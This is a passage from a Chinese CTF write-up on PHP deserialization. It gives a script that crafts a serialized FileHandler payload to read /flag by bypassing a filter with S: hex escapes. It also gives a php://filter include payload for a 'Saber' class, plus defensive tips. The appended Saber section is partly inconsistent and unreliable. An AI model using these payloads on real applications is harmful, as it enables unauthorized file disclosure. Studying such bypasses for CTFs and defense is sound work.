PHP反序列化3(属性绕过)

考点3:私有属性绕过+十六进制绕过

<aside> 💡

十六进制绕过

</aside>

大写 S模式下,字符可以用/和十六进制表示。%00即chr(0)就可以用\00表示。

<aside> 💡

部分例题

</aside>

 <?php

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;
............
............
............
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

构造payload:

<?php
class FileHandler {

   protected  $op = 2;
   protected  $filename = "/flag";
   protected  $content = "aaa";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a = new FileHandler();
$b = serialize($a);
$b=str_replace(chr(0), '\\00', $b);
$b=str_replace('s:5', 'S:5', $b);
$b=str_replace('s:11', 'S:11', $b);
$b=str_replace('s:10', 'S:10', $b);
echo $b;

### PHP 反序列化中的 Saber 库使用方法及其安全风险 #### 背景介绍 PHP反序列化功能允许对象状态被保存并恢复。然而,如果处理不当,这可能成为严重的安全隐患。特别是当恶意用户能够控制输入数据时,可能会触发特定的对象属性或方法调用来执行任意代码。 #### 关于 `Saber` 类的分析 在给定的例子中提到一个名为 `Saber` 的类[^1]。此名称暗示该组件可能是某个应用程序的一部分或者是开发者自定义的一个类名。通常情况下,在 PHP 中创建可序列化的对象需要实现两个特殊的方法: - `__wakeup()` 方法则会在成功完成 unserialization 后立即自动运行一次; 对于 `Saber` 这样的类来说,可能存在如下结构: ```php class Saber { public $weapon; function __construct($weapon){ $this->weapon = $weapon; } // 当对象被反序列化时会调用这个函数 public function __wakeup(){ include($this->weapon); // 危险操作:直接包含了 weapon 属性指定的内容作为文件路径 } } ``` 上述代码片段展示了如何通过设置 `$weapon` 来影响 `include` 函数的行为。由于这里没有对传入的数据做任何验证就将其传递给了 `include` ,这就构成了潜在的安全威胁——即可以通过精心设计的 payload 实现远程命令注入攻击。 #### 利用链解析 根据提供的利用链条描述,可以看到整个过程涉及多个类之间的相互作用: - **summon**: 创建了一个包含其他复杂嵌套对象实例的对象图。 - **artifact & prepare**: 继续构建更深层次的对象关系网直至最终目标——`saber` 对象。 - **pseudo protocol (伪协议)**: 使用特殊的 URI 方案 (`php://`) 加载外部资源,并结合 base64 编码绕过某些过滤机制来读取服务器端敏感文件内容。 这种复杂的组合使得即使是在看似简单的变量赋值语句背后也可能隐藏着危险的操作[^2]: ```php $s->weapon="php://filter/convert.base64-encode/resource=flag.php"; ``` 这段代码实际上指示 PHP 去加载并编码位于当前目录下的 `flag.php` 文件,而这一切都是由之前一系列经过巧妙安排的对象初始化所引发的结果。 #### 防范措施建议 为了避免此类漏洞的发生,应当遵循以下最佳实践原则: - 尽量减少不必要的序列化逻辑; - 如果确实需要用到,则务必确保只信任来自可靠源的数据流; - 在反序列化前后都应仔细审查所有相关联的对象成员以及它们之间交互的方式; - 特别注意那些可以间接引起 I/O 或者网络请求的动作(比如这里的 `include`),并对这些地方加强防护; - 定期更新依赖库版本至最新稳定版以获得官方发布的修复补丁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值